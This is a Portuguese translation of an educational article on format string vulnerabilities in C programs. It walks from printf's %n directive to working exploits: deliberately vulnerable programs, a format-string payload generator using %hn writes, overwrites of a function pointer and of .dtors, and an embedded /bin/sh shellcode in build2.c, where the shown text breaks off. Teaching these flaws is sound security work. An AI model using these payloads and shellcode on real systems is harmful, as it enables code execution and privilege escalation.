|
|
| Este artigo está disponível em: English Deutsch Francais Nederlands Portugues Russian Turkce |
por Frédéric Raynal, Christophe Blaess, Christophe Grenier Sobre o autor: O Christophe Blaess é um engenheiro aeronáutico independente. Ele é um fã do Linux e faz muito do seu trabalho neste sistema. Coordena a tradução das páginas man publicadas no Projecto de Documentação do Linux. O Christophe Grenier é um estudante no 5º ano na ESIEA, onde, também trabalha como administrador de sistema. Tem uma paixão por segurança de computadores. O Frederic Raynal tem utilizado o Linux desde há alguns anos porque não polui, não usa hormonas, não usa MSG ou farinha animal ... reclama somente o suor e a astúcia. Conteúdo:
|
Abstrato:
De há algum tempo para cá que anúncios de mensagens acerca da exploração baseadas na formatação de strings são mais numerosas. Este artigo explica de onde vem o perigo e mostrar-lhe-á que uma tentativa para guardar seis bytes é o suficiente para comprometer a segurança de um programa.
Muitas falhas de segurança provém de má configuração ou desleixo. Esta regra permanece verdadeira para a formatação de strings.
É necessário por vezes, utilizar strings terminadas em null num
programa. Onde dentro do programa não é importante aqui. Esta
vulnerabilidade é, de novo, acerca da escrita directa para a memória. Os
dados para o ataque podem vir da stdin, ficheiros, etc.
Uma instrução simples é o suficiente:
printf("%s", str);
Contudo, um programador pode decidir em guardar tempo e seis bytes quando só escreve:
printf(str);
Com a "economia" em mente, o programador abre um potencial buraco no
seu trabalho. Ele está satisfeito em passar um única string como argumento
a qual ele queria, simplesmente, apresentar sem nenhuma modificação.
Contudo esta string será dividida em partes para se procurar directivas de
formatação (%d, %g...). Quando um caracter de
formatação é descoberto, o argumento correspondente é procurado na
pilha.
Introduziremos as funções da família printf(). Pelo
menos esperamos que toda a gente as conheça ... mas não em detalhe, então
lidaremos com os aspectos menos conhecidos destas rotinas. Depois veremos a
informação necessária para explorar tal erro. Finalmente veremos como isto
se encaixa num simples exemplo.
printf() : disseram-me uma mentira !Comecemos pelo que todos nós aprendemos nos nossos livros de programação: muitas das funções de entrada/saída do C utilizam a formatação dos dados o que significa que não só providencia os dados para escrita/leitura bem como o modo de ser apresentado. O programa seguinte ilustra isto:
/* display.c */
#include <stdio.h>
main() {
int i = 64;
char a = 'a';
printf("int : %d %d\n", i, a);
printf("char : %c %c\n", i, a);
}
Correndo-o, apresenta:
>>gcc display.c -o display >>./display int : 64 97 char : @ aO primeiro
printf() escreve o valor da variável inteira
i e a variável caracter a como int
(isto é feito usando %d), o que leva a apresentar
o valor ASCII. Por outro lado, o segundo printf() converte a
variável inteira i para o correspondente código ASCII que é
64.
Nada de novo - tudo conforme as muitas funções com um protótipo
semelhante à função printf():
const
char *format) é usado para especificar o formato seleccionado;Muitas das nossas lições de programação terminam aqui,
providenciando uma lista não exaustiva das possíveis formatações (%g,
%h, %x, e o uso do caracter ponto
. para a precisão...) Mas, existe um outro nunca
falado: %n. Eis o que diz a página do manual do
printf acerca dele:
O número de caracteres escritos até então é guardado num
indicador int * (ou variante) num argumento de ponteiro.
Nenhum argumento é convertido. |
Eis aqui a coisa mais importante deste artigo: este argumento torna possível a escrita numa variável do tipo ponteiro , mesmo quando é usado numa função de apresentação !
Antes de continuarmos, deixem-nos dizer que esta formatação também
existe para as funções da família scanf() e
syslog().
Vamos estudar o uso e o comportamento desta formatação através de
pequenos programas. O primeiro, printf1, mostra um simples
uso:
/* printf1.c */
1: #include <stdio.h>
2:
3: main() {
4: char *buf = "0123456789";
5: int n;
6:
7: printf("%s%n\n", buf, &n);
8: printf("n = %d\n", n);
9: }
A primeira chamada do printf() apresenta a string
"0123456789" que contém 10 caracteres. A próxima
formatação %n escreve o valor da variável n:
>>gcc printf1.c -o printf1 >>./printf1 0123456789 n = 10Transformemos, ligeiramente, o nosso programa substituindo a instrução
printf() da linha 7 pela seguinte:
7: printf("buf=%s%n\n", buf, &n);
Correndo este novo programa, confirma a nossa ideia: a variável
n é agora 14, (10 caracteres da variável string
buf mais os 4 caracteres da string constante
"buf=", contida na string de formatação).
Então, sabemos que a formatação %n conta cada caracter
que aparece na string de formatação. Mais adiante, como demonstraremos com
o programa printf2, conta ainda mais:
/* printf2.c */
#include <stdio.h>
main() {
char buf[10];
int n, x = 0;
snprintf(buf, sizeof buf, "%.100d%n", x, &n);
printf("l = %d\n", strlen(buf));
printf("n = %d\n", n);
}
O uso da função snprintf() é para prevenir de um buffer
overflow. A variável n devia ser 10:
>>gcc printf2.c -o printf2 >>./printf2 l = 9 n = 100Estranho ? De facto, a formatação
%n considera a
quantidade de caracteres que devem ter sido
escritos. Este exemplo que a truncagem tendo em conta o tamanho é ignorada.
O que é que realmente acontece ? A string de formatação é estendida completamente antes de ser cortada e depois copiada para o buffer de destino:
/* printf3.c */
#include <stdio.h>
main() {
char buf[5];
int n, x = 1234;
snprintf(buf, sizeof buf, "%.5d%n", x, &n);
printf("l = %d\n", strlen(buf));
printf("n = %d\n", n);
printf("buf = [%s] (%d)\n", buf, sizeof buf);
}
O printf3 contém algumas diferenças comparativamente ao printf2:
>>gcc printf3.c -o printf3 >>./printf3 l = 4 n = 5 buf = [0123] (5)As duas primeiras linhas não são nenhuma surpresa. A última ilustra o comportamento da função
printf() :
00000\0";x no nosso exemplo. Depois a string é algo
parecido com "01234\0";sizeof buf - 1 bytes2 a partir desta string é copiado na string de
destino buf, o que nos dá "0123\0"GlibC, em
particular a vfprintf() no directório
${GLIBC_HOME}/stdio-common.
Antes de terminarmos esta parte, adicionemos que é possível de obter
os mesmos resultados escrevendo a string de formatação de um modo
ligeiramente diferente. Previamente, utilizámos a precisão (o
ponto '.'). Uma outra combinação de instruções de formatação conduz-nos a
um resultado idêntico: 0n, onde o n é o número do
comprimento , e o 0 significa que os espaços devem
ser trocados por 0 no caso de todo o comprimento não ser preenchido.
Agora que sabe tudo acerca da formatação de strings, e muito
especialmente acerca da formatação %n, estudaremos os seus
comportamentos.
printf()O próximo programa guiár-nos-à em toda esta secção para
compreendermos como o printf() e a pilha se relacionam:
/* stack.c */
1: #include <stdio.h>
2:
3: int
4 main(int argc, char **argv)
5: {
6: int i = 1;
7: char buffer[64];
8: char tmp[] = "\x01\x02\x03";
9:
10: snprintf(buffer, sizeof buffer, argv[1]);
11: buffer[sizeof (buffer) - 1] = 0;
12: printf("buffer : [%s] (%d)\n", buffer, strlen(buffer));
13: printf ("i = %d (%p)\n", i, &i);
14: }
Este Programa só copia um argumento para o vector de caracteres do
buffer. Tomaremos cuidado para não escrevermos por cima de
alguns dados importantes ( a formatação de strings são, realmente, mais
correctas que os excedimentos de buffer ;-)
>>gcc stack.c -o stack >>./stack toto buffer : [toto] (4) i = 1 (bffff674)Trabalha como esperávamos :) Antes de avançarmos examinemos o que acontece do ponto de vista da pilha ao chamar o
snprintf() na linha 8.
Fig. 1 : A pilha no inicio do snprintf() |
|
A Figura 1 descreve os estado da pilha
quando o programa entra na função snprintf() (veremos que isto
não é verdade ... mas isto é só para lhe dar uma ideia do que está a
acontecer). Não nos importámos com o registo %esp. Está
algures abaixo do registo %ebp. Como vimos num artigo
anterior, os dois primeiros sectores localizados no %ebp e
%ebp+4 contêm as respectivas salvaguardas dos registos
%ebp and %ebp+4. Seguindo-se os argumentos da
função snprintf():
argv[1] que
também se comporta como dado.tmp
de 4 caracteres , com os 64 bytes da variável buffer e a variável inteira;
A string argv[1] é usada ao mesmo tempo como string de
formatação e de dados. Segundo a ordem normal da rotina
snprintf() o, argv[1] aparece em vez da string de
formatação. Visto que pode utilizar a string de formatação sem directivas
de formatação (só texto), está tudo bem :)
O que é que acontece quando argv[1] contém também dados
de formatação ? ? Normalmente, snprintf() interpreta-as como
estão ... e não existe nenhuma razão para agir de outro modo ! Mas aqui,
pode querer saber quais os argumentos que vão ser usados para a formatação
das strings de resultado. De facto o snprintf() extrai os
dados da pilha ! Pode ver isto a partir do nosso programa
stack:
>>./stack "123 %x" buffer : [123 30201] (9) i = 1 (bffff674)
Primeiro, a string "123 " é copiada para o
buffer. O %x pede ao snprintf() para
traduzir o seu primeiro valor para hexadecimal. Na figura 1, o primeiro argumento não é mais do que a variável
tmp que contém a string \x01\x02\x03\x00. É
apresentado como sendo o número hexadecimal 0x00030201 segundo o nosso
processador little endian.
>>./stack "123 %x %x" buffer : [123 30201 20333231] (18) i = 1 (bffff674)
Adicionando uma segunda variável %x permite-lhe subir
na pilha. Dia ao snprintf() para procurar pelos próximos 4
bytes após a variável tmp. Estes 4 bytes são de facto os
primeiros 4 bytes do buffer. Contudo, o buffer
contém a string "123 ", a qual pode ser vista como o número
hexadecimal 0x20333231 (0x20=space, 0x31='1'...). Então, para cada
%x, o snprintf() "salta" 4 bytes para além do
buffer ( 4 porque o unsigned int só ocupa 4 bytes no processador x86). Esta
variável actua como agente duplo, pois:
>>./stack "%#010x %#010x %#010x %#010x %#010x %#010x"
buffer : [0x00030201 0x30307830 0x32303330 0x30203130 0x33303378
0x333837] (63)
i = 1 (bffff654)
Pode, ocasionalmente, encontrar um formato útil quando é necessário
trocar entre os parâmetros (por exemplo, ao apresentar a data e o tempo).
Adicionámos o formato m$, logo após o %, onde o
m é um inteiro >0. Isto dá a posição da variável para
utilizar uma lista de argumentos (começando por 1):
/* explore.c */
#include <stdio.h>
int
main(int argc, char **argv) {
char buf[12];
memset(buf, 0, 12);
snprintf(buf, 12, argv[1]);
printf("[%s] (%d)\n", buf, strlen(buf));
}
O formato utilizando m$ permite-nos ir até onde queremos na pilha, como o podíamos fazer
com o gdb:
>>./explore %1\$x [0] (1) >>./explore %2\$x [0] (1) >>./explore %3\$x [0] (1) >>./explore %4\$x [bffff698] (8) >>./explore %5\$x [1429cb] (6) >>./explore %6\$x [2] (1) >>./explore %7\$x [bffff6c4] (8)
O caracter \ é necessário aqui para proteger o
$ e para prevenir a shell do interpretar. Nas três primeiras
chamadas visitámos o conteúdo da variável buf. Com
%4\$x, obtemos o registo guardado %ebp, e com o
próximo %5\$x, o registo guardado %eip (também
conhecido como endereço de retorno). Os 2 resultados apresentados aqui,
mostram o valor da variável argc e o endereço contido em
*argv (lembre-se que **argv quer dizer que
*argv é um vector de endereços).
Este exemplo ilustra que os formatos fornecidos permitem-nos
percorrer a pilha à procura de informação, como o endereço de retorno de
uma função, um endereço ... Contudo vimos que no princípio deste artigo
podíamos escrever usando funções do tipo printf(): não vos
parece isto uma potencial e maravilhosa vulnerabilidade ?
Voltemos ao programa stack:
>>perl -e 'system "./stack \x64\xf6\xff\xbf%.496x%n"' buffer : [döÿ¿000000000000000000000000000000000000000000000000 00000000000] (63) i = 500 (bffff664)Damos como string de entrada:
i;%.496x);%n) que
escreverá para dentro do endereço dado. i (aqui
0xbffff664), podemos correr o programa uma segunda vez e
alterar a linha de comandos, respectivamente. Como pode notar, aqui o
i tem um novo valor :) A string de formatação dada e a
organização da pilha fazem o snprintf() parecer-se algo como:
snprintf(buffer,
sizeof buffer,
"\x64\xf6\xff\xbf%.496x%n",
tmp,
4 primeiros bytes no buffer);
Os primeiros quatro bytes (contendo o endereço i) são
escritos no princípio do buffer. O formato %.496x permite-nos
livrar-nos da variável tmp que está no principio da pilha. Depois
quando a instrução de formatação é o %n, o endereço utilizado
é o de i, no principio do buffer. Apesar da
precisão requerida ser 496, o snprintf escreve no máximo sessenta bytes
(porque o tamanho do buffer 'e 64 e 4 bytes já foram escritos). O valor 496
é arbitrário e é somente utilizado para o "contador de bytes". Vimos que o
formato %n guarda o número de bytes que deviam ser escritos.
Este valor é 496, ao qual adicionámos 4 a partir dos 4 bytes do endereço i no
principio do buffer. Assim contámos 500 bytes. Este valor será
escrito no próximo endereço da pilha, que é o endereço do i.
Podemos ainda avançar neste exemplo. Para alterar o i, precisávamos
de saber o seu endereço ... mas por vezes o próprio programa fornece-o:
/* swap.c */
#include <stdio.h>
main(int argc, char **argv) {
int cpt1 = 0;
int cpt2 = 0;
int addr_cpt1 = &cpt1;
int addr_cpt2 = &cpt2;
printf(argv[1]);
printf("\ncpt1 = %d\n", cpt1);
printf("cpt2 = %d\n", cpt2);
}
Correndo este programa, mostra-se que podemos controlar a pilha (quase) praticamente como queremos:
>>./swap AAAA AAAA cpt1 = 0 cpt2 = 0 >>./swap AAAA%1\$n AAAA cpt1 = 0 cpt2 = 4 >>./swap AAAA%2\$n AAAA cpt1 = 4 cpt2 = 0
Como pode var, dependendo do argumento, podemos alterar quer o cpt1, quer
o cpt2. O formato %n espera um endereço, eis o
porquê de não podermos agir directamente nas variáveis (por exemplo usando %3$n (cpt2) ou %4$n
(cpt1) ) mas tem de ser directamente através de ponteiros. Os
últimos são "carne fresca" com enormes possibilidades para modificação.
egcs-2.91.66 e o glibc-2.1.3-22. Contudo,
você provavelmente não obterá os mesmos resultados na sua própria
experiência. Além disso as funções do tipo *printf() alteram-se
consoante a glibc e os compiladores não reagem da mesma
maneira para operações idênticas.
O programa stuff apresenta estas diferenças:
/* stuff.c */
#include <stdio.h>
main(int argc, char **argv) {
char aaa[] = "AAA";
char buffer[64];
char bbb[] = "BBB";
if (argc < 2) {
printf("Usage : %s <format>\n",argv[0]);
exit (-1);
}
memset(buffer, 0, sizeof buffer);
snprintf(buffer, sizeof buffer, argv[1]);
printf("buffer = [%s] (%d)\n", buffer, strlen(buffer));
}
O vector aaa e bbb são usados como
delimitadores na nossa jornada através da pilha. Assim sendo, sabemos que
quando encontramos 424242, os bytes seguintes alteram-se no buffer. A
Tabela 1 apresenta as diferenças segundo as versões
da glibc e os compiladores.
| Tab. 1 : Variações à volta da glibc | ||
|---|---|---|
|
|
|
|
| gcc-2.95.3 | 2.1.3-16 | buffer = [8048178 8049618 804828e 133ca0 bffff454 424242 38343038 2038373] (63) |
| egcs-2.91.66 | 2.1.3-22 | buffer = [424242 32343234 33203234 33343332 20343332 30323333 34333233 33] (63) |
| gcc-2.96 | 2.1.92-14 | buffer = [120c67 124730 7 11a78e 424242 63303231 31203736 33373432 203720] (63) |
| gcc-2.96 | 2.2-12 | buffer = [120c67 124730 7 11a78e 424242 63303231 31203736 33373432 203720] (63) |
A seguir neste artigo, continuaremos a utilizar o egcs-2.91.66 e
a glibc-2.1.3-22, mas não se admire de notar algumas diferenças
na sua máquina.
Enquanto explorando o excedimento do buffer (overflow), utilizámos um buffer para escrever por cima do endereço de retorno de uma função.
Com a formatação de strings, vimos que podemos ir a
todo o lado (pilha, heap, bss, .dtors, ...), só temos de dizer onde
e o que escrever para o %n fazer o trabalho por nós.
/* vuln.c */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int helloWorld();
int accessForbidden();
int vuln(const char *format)
{
char buffer[128];
int (*ptrf)();
memset(buffer, 0, sizeof(buffer));
printf("helloWorld() = %p\n", helloWorld);
printf("accessForbidden() = %p\n\n", accessForbidden);
ptrf = helloWorld;
printf("before : ptrf() = %p (%p)\n", ptrf, &ptrf);
snprintf(buffer, sizeof buffer, format);
printf("buffer = [%s] (%d)\n", buffer, strlen(buffer));
printf("after : ptrf() = %p (%p)\n", ptrf, &ptrf);
return ptrf();
}
int main(int argc, char **argv) {
int i;
if (argc <= 1) {
fprintf(stderr, "Usage: %s <buffer>\n", argv[0]);
exit(-1);
}
for(i=0;i<argc;i++)
printf("%d %p\n",i,argv[i]);
exit(vuln(argv[1]));
}
int helloWorld()
{
printf("Welcome in \"helloWorld\"\n");
fflush(stdout);
return 0;
}
int accessForbidden()
{
printf("You shouldn't be here \"accesForbidden\"\n");
fflush(stdout);
return 0;
}
Nós definimos uma variável chamada ptrf que é um
ponteiro para a função. Alteraremos o valor deste ponteiro para correr a
função que escolhemos.
Primeiro, temos de obter a diferença entre o principio do buffer vulnerável e a nossa posição corrente na pilha:
>>./vuln "AAAA %x %x %x %x" helloWorld() = 0x8048634 accessForbidden() = 0x8048654 before : ptrf() = 0x8048634 (0xbffff5d4) buffer = [AAAA 21a1cc 8048634 41414141 61313220] (37) after : ptrf() = 0x8048634 (0xbffff5d4) Welcome in "helloWorld" >>./vuln AAAA%3\$x helloWorld() = 0x8048634 accessForbidden() = 0x8048654 before : ptrf() = 0x8048634 (0xbffff5e4) buffer = [AAAA41414141] (12) after : ptrf() = 0x8048634 (0xbffff5e4) Welcome in "helloWorld"
A primeira chamada aqui dá-nos o que precisamos: 3 palavras (uma
palavra = 4 bytes para processadores x86) separa-nos do inicio da variável buffer. A
segunda chamada com AAAA%3\$x como argumento, confirma isto.
O nosso objectivo é agora substituir o valor inicial do ponteiro
ptrf (0x8048634, o endereço da função helloWorld()) com
o valor 0x8048654 (endereço da accessForbidden()).
Temos de escrever 0x8048654 bytes (134514260 bytes em
decimal, algo como 128Mbytes). Nem todos os computadores podem usufruir de
tal memória ... mas o que estamos a usar é capaz :) Demora cerca de 20
segundos num pentium duplo a 350 Mhz:
>>./vuln `printf "\xd4\xf5\xff\xbf%%.134514256x%%"3\$n ` helloWorld() = 0x8048634 accessForbidden() = 0x8048654 before : ptrf() = 0x8048634 (0xbffff5d4) buffer = [Ôõÿ¿000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000000000 0000000000000] (127) after : ptrf() = 0x8048654 (0xbffff5d4) You shouldn't be here "accesForbidden"
O que é que nós fizemos? Demos somente o endereço de ptrf
(0xbffff5d4). A próxima formatação (%.134514256x) lê as
primeiras palavras a partir da pilha com uma precisão de 134514256 (já
tínhamos escrito 4 bytes a partir do endereço de ptrf, então
ainda temos de escrever 134514260-4=134514256 bytes). por
último escrevemos o valor pretendido no endereço dado (%3$n).
Contudo, como o mencionámos, nem sempre é possível utilizar 128 MG
em buffers. O formato %n espera um ponteiro para um inteiro,
ou seja quatro bytes. É possível alterar o seu comportamento fazendo-o
apontar para um short int - só 2 bytes - graças à
instrução %hn. Então cortamos o inteiro no qual queremos
escrever em duas partes. A parte de escrita maior caberá em
0xffff bytes (65535 bytes). Então no exemplo anterior,
transformamos a operação de escrita "0x8048654 no endereço
0xbffff5d4" em duas operações sucessivas: :
0x8654 no endereço 0xbffff5d4 0x0804 no endereço
0xbffff5d4+2=0xbffff5d6 Contudo, %n (ou %hn) conta o número de
caracteres escritos para a string. Este número só pode aumentar. Primeiro,
temos de escrever o valor ,mais pequeno entre os dois. Depois, a segunda
formatação só usará a diferença entre os números necessários e o primeiro
número escrito com precisão. Por exemplo, no nosso exemplo, a primeira
operação de formatação será de %.2052x (2052 = 0x0804) e a
segunda %.32336x (32336 = 0x8654 - 0x0804). Cada %hn colocado
logo após a direita gravará a correcta quantidade de bytes.
Só temos de especificar onde escrever ambos %hn. O
operador m$ ajudar-nos imenso. Se guardarmos o endereço de
inicio do buffer vulnerável, só temos de subir pela pilha para encontrar a
distância entre o inicio do buffer e o formato m$. Então,
ambos os endereços estarão a um comprimento de m e m+1. Como
usamos os primeiros 8 bytes para guardar os endereços para rescrita, o
primeiro valor escrito deve ser decrementado por 8.
A nossa string de formatação é algo parecido com:
"[addr][addr+2]%.[val. min. - 8]x%[offset]$hn%.[val. max -
val. min.]x%[offset+1]$hn"
O programa build utiliza três argumentos para criar uma
string de formatação:
/* build.c */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
/**
The 4 bytes where we have to write are placed that way :
HH HH LL LL
The variables ending with "*h" refer to the high part
of the word (H) The variables ending with "*l" refer
to the low part of the word (L)
*/
char* build(unsigned int addr, unsigned int value,
unsigned int where) {
/* too lazy to evaluate the true length ... :*/
unsigned int length = 128;
unsigned int valh;
unsigned int vall;
unsigned char b0 = (addr >> 24) & 0xff;
unsigned char b1 = (addr >> 16) & 0xff;
unsigned char b2 = (addr >> 8) & 0xff;
unsigned char b3 = (addr ) & 0xff;
char *buf;
/* detailing the value */
valh = (value >> 16) & 0xffff; //top
vall = value & 0xffff; //bottom
fprintf(stderr, "adr : %d (%x)\n", addr, addr);
fprintf(stderr, "val : %d (%x)\n", value, value);
fprintf(stderr, "valh: %d (%.4x)\n", valh, valh);
fprintf(stderr, "vall: %d (%.4x)\n", vall, vall);
/* buffer allocation */
if ( ! (buf = (char *)malloc(length*sizeof(char))) ) {
fprintf(stderr, "Can't allocate buffer (%d)\n", length);
exit(EXIT_FAILURE);
}
memset(buf, 0, length);
/* let's build */
if (valh < vall) {
snprintf(buf,
length,
"%c%c%c%c" /* high address */
"%c%c%c%c" /* low address */
"%%.%hdx" /* set the value for the first %hn */
"%%%d$hn" /* the %hn for the high part */
"%%.%hdx" /* set the value for the second %hn */
"%%%d$hn" /* the %hn for the low part */
,
b3+2, b2, b1, b0, /* high address */
b3, b2, b1, b0, /* low address */
valh-8, /* set the value for the first %hn */
where, /* the %hn for the high part */
vall-valh, /* set the value for the second %hn */
where+1 /* the %hn for the low part */
);
} else {
snprintf(buf,
length,
"%c%c%c%c" /* high address */
"%c%c%c%c" /* low address */
"%%.%hdx" /* set the value for the first %hn */
"%%%d$hn" /* the %hn for the high part */
"%%.%hdx" /* set the value for the second %hn */
"%%%d$hn" /* the %hn for the low part */
,
b3+2, b2, b1, b0, /* high address */
b3, b2, b1, b0, /* low address */
vall-8, /* set the value for the first %hn */
where+1, /* the %hn for the high part */
valh-vall, /* set the value for the second %hn */
where /* the %hn for the low part */
);
}
return buf;
}
int
main(int argc, char **argv) {
char *buf;
if (argc < 3)
return EXIT_FAILURE;
buf = build(strtoul(argv[1], NULL, 16), /* adresse */
strtoul(argv[2], NULL, 16), /* valeur */
atoi(argv[3])); /* offset */
fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf));
printf("%s", buf);
return EXIT_SUCCESS;
}
A posição dos argumentos altera-se consoante se o primeiro valor a ser escrito é a parte mais alta ou baixa da palavra. Verifiquemos o que obtemos agora, sem quaisquer problemas de memória.
Primeiro, o nosso simples exemplo, permite-nos advinhar o comprimento:
>>./vuln AAAA%3\$x argv2 = 0xbffff819 helloWorld() = 0x8048644 accessForbidden() = 0x8048664 before : ptrf() = 0x8048644 (0xbffff5d4) buffer = [AAAA41414141] (12) after : ptrf() = 0x8048644 (0xbffff5d4) Welcome in "helloWorld"
É sempre o mesmo: 3. Visto que o nosso programa é feito para
explorar o que acontece, nós já temos toda a outra informação que
precisamos: Os endereços ptrf e accesForbidden().
Construímos o nosso buffer segundo isto:
>>./vuln `./build 0xbffff5d4 0x8048664 3` adr : -1073744428 (bffff5d4) val : 134514276 (8048664) valh: 2052 (0804) vall: 34404 (8664) [Öõÿ¿Ôõÿ¿%.2044x%3$hn%.32352x%4$hn] (33) argv2 = 0xbffff819 helloWorld() = 0x8048644 accessForbidden() = 0x8048664 before : ptrf() = 0x8048644 (0xbffff5b4) buffer = [Öõÿ¿Ôõÿ¿00000000000000000000d000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000 00000000] (127) after : ptrf() = 0x8048644 (0xbffff5b4) Welcome in "helloWorld"Nada acontece ! De facto, vimos que usámos um buffer grande no exemplo anterior da formatação da string, a pilha alterou-se. O
ptrf foi
de 0xbffff5d4 para 0xbffff5b4). Os nossos valores
precisam de ser ajustados:
>>./vuln `./build 0xbffff5b4 0x8048664 3` adr : -1073744460 (bffff5b4) val : 134514276 (8048664) valh: 2052 (0804) vall: 34404 (8664) [¶õÿ¿´õÿ¿%.2044x%3$hn%.32352x%4$hn] (33) argv2 = 0xbffff819 helloWorld() = 0x8048644 accessForbidden() = 0x8048664 before : ptrf() = 0x8048644 (0xbffff5b4) buffer = [¶õÿ¿´õÿ¿0000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000 0000000000000000] (127) after : ptrf() = 0x8048664 (0xbffff5b4) You shouldn't be here "accesForbidden"Ganhámos!!!
Vimos que os bugs de formatação permitem-nos escrever em qualquer
lado. Então, veremos agora uma explicação baseada na secção .dtors
Quando um programa é compilado com o gcc, pode
encontrar uma secção de construção (chamada .ctors) e um
destrutor (chamado .dtors). Cada uma destas secções contêm
ponteiros para as funções a serem carregadas antes de função main() e
depois sair, respectivamente.
/* cdtors */
void start(void) __attribute__ ((constructor));
void end(void) __attribute__ ((destructor));
int main() {
printf("in main()\n");
}
void start(void) {
printf("in start()\n");
}
void end(void) {
printf("in end()\n");
}
O nosso programa mostra esse mecanismo:
>>gcc cdtors.c -o cdtors >>./cdtors in start() in main() in end()Cada uma destas secções é construída do mesmo modo:
>>objdump -s -j .ctors cdtors cdtors: file format elf32-i386 Contents of section .ctors: 804949c ffffffff dc830408 00000000 ............ >>objdump -s -j .dtors cdtors cdtors: file format elf32-i386 Contents of section .dtors: 80494a8 ffffffff f0830408 00000000 ............Verificamos que os endereços indicados são iguais aos nossas funções (atenção: o comando precedente
objdump dá-nos os endereços no
formato little endian):
>>objdump -t cdtors | egrep "start|end" 080483dc g F .text 00000012 start 080483f0 g F .text 00000012 endEntão, estas secções contêm os endereços das funções que correm no principio (ou no fim), "encaixados" com
0xffffffff e 0x00000000.
Apliquemos isto ao vuln usando a formatação de string.
Primeiro temos de ter a localização na memória destas secções o que é
realmente fácil quando temos o binário à mão ;-) Utilize simplesmente o objdump como
fizemos previamente:
>> objdump -s -j .dtors vuln vuln: file format elf32-i386 Contents of section .dtors: 8049844 ffffffff 00000000 ........Aqui está ! Temos tudo o que precisamos agora.
O objectivo da exploração é substituir o endereço de uma função
destas secções pelo de uma função que queremos executar. Se as secções
estão vazias, só se tem de sobrepor o endereço 0x00000000 que
indica o fim da secção. Isto dará uma segmentation fault pois
o programa não encontrará este endereço 0x00000000, e tomará
como próximo valor o endereço de uma função o que provavelmente não é
verdade.
De facto, a única secção de interesse é a secção do destrutor (.dtors): não
temos tempo de fazer alguma coisa antes da secção do construtor (.ctors). Geralmente,
é suficiente sobrepor o endereço em 4 bytes após o inicio da secção (o 0xffffffff):
0x00000000;Voltemos ao nosso exemplo. Substituímos o 0x00000000 na
secção .dtors, residente em
0x8049848=0x8049844+4, com o endereço da função
accesForbidden(), já conhecido (0x8048664):
>./vuln `./build 0x8049848 0x8048664 3` adr : 134518856 (8049848) val : 134514276 (8048664) valh: 2052 (0804) vall: 34404 (8664) [JH%.2044x%3$hn%.32352x%4$hn] (33) argv2 = bffff694 (0xbffff51c) helloWorld() = 0x8048648 accessForbidden() = 0x8048664 before : ptrf() = 0x8048648 (0xbffff434) buffer = [JH0000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 000] (127) after : ptrf() = 0x8048648 (0xbffff434) Welcome in "helloWorld" You shouldn't be here "accesForbidden" Segmentation fault (core dumped)Tudo corre bem, o
main(), o helloWorld() e
depois sai. O destrutor é logo chamado. A secção .dtors é
iniciada com o endereço de accesForbidden(). Depois visto que
não existe num endereço real de uma função, o esperado coredump ("cadáver")
acontece.
Vimos pequenas explorações aqui. Usando o mesmo principio, podemos
obter uma linha de comandos, quer passando o código da shell através do
argv[] ou através de uma variável de ambiente ao programa
vulnerável. Só temos de definir o endereço correcto (por exemplo: o
endereço da eggshell) na secção .dtors.
Até agora, sabemos:
Contudo, na realidade, o programa vulnerável não é tão simpático com o exemplo anterior. Introduziremos um método que nos permitirá pôr o código da shell na memória e devolver o seu endereço exacto (o que significa que não é adicionado mais nenhum NOP ao principio do código da shell).
A ideia baseia-se em chamadas recursivas à função exec*():
/* argv.c */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
main(int argc, char **argv) {
char **env;
char **arg;
int nb = atoi(argv[1]), i;
env = (char **) malloc(sizeof(char *));
env[0] = 0;
arg = (char **) malloc(sizeof(char *) * nb);
arg[0] = argv[0];
arg[1] = (char *) malloc(5);
snprintf(arg[1], 5, "%d", nb-1);
arg[2] = 0;
/* printings */
printf("*** argv %d ***\n", nb);
printf("argv = %p\n", argv);
printf("arg = %p\n", arg);
for (i = 0; i<argc; i++) {
printf("argv[%d] = %p (%p)\n", i, argv[i], &argv[i]);
printf("arg[%d] = %p (%p)\n", i, arg[i], &arg[i]);
}
printf("\n");
/* recall */
if (nb == 0)
exit(0);
execve(argv[0], arg, env);
}
A entrada é um inteiro nb o qual o programa chamará
recursivamente a si próprio nb+1 vezes:
>>./argv 2 *** argv 2 *** argv = 0xbffff6b4 arg = 0x8049828 argv[0] = 0xbffff80b (0xbffff6b4) arg[0] = 0xbffff80b (0x8049828) argv[1] = 0xbffff812 (0xbffff6b8) arg[1] = 0x8049838 (0x804982c) *** argv 1 *** argv = 0xbfffff44 arg = 0x8049828 argv[0] = 0xbfffffec (0xbfffff44) arg[0] = 0xbfffffec (0x8049828) argv[1] = 0xbffffff3 (0xbfffff48) arg[1] = 0x8049838 (0x804982c) *** argv 0 *** argv = 0xbfffff44 arg = 0x8049828 argv[0] = 0xbfffffec (0xbfffff44) arg[0] = 0xbfffffec (0x8049828) argv[1] = 0xbffffff3 (0xbfffff48) arg[1] = 0x8049838 (0x804982c)
Verificamos imediatamente que os endereços alocados para o
arg e argv não se alteram mais após a segunda
chamada. Vamos utilizar esta propriedade na nossa exploração. Só temos de
modificar ligeiramente o nosso programa build de maneira a que
se chame a si próprio antes de chamar o vuln. Então, obtemos o
endereço exacto de argv e o do nosso código da shell.:
/* build2.c */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
char* build(unsigned int addr, unsigned int value, unsigned int where)
{
//Same function as in build.c
}
int
main(int argc, char **argv) {
char *buf;
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
if(argc < 3)
return EXIT_FAILURE;
if (argc == 3) {
fprintf(stderr, "Calling %s ...\n", argv[0]);
buf = build(strtoul(argv[1], NULL, 16), /* adresse */
&shellcode,
atoi(argv[2])); /* offset */
fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf));
execlp(argv[0], argv[0], buf, &shellcode, argv[1], argv[2], NULL);
} else {
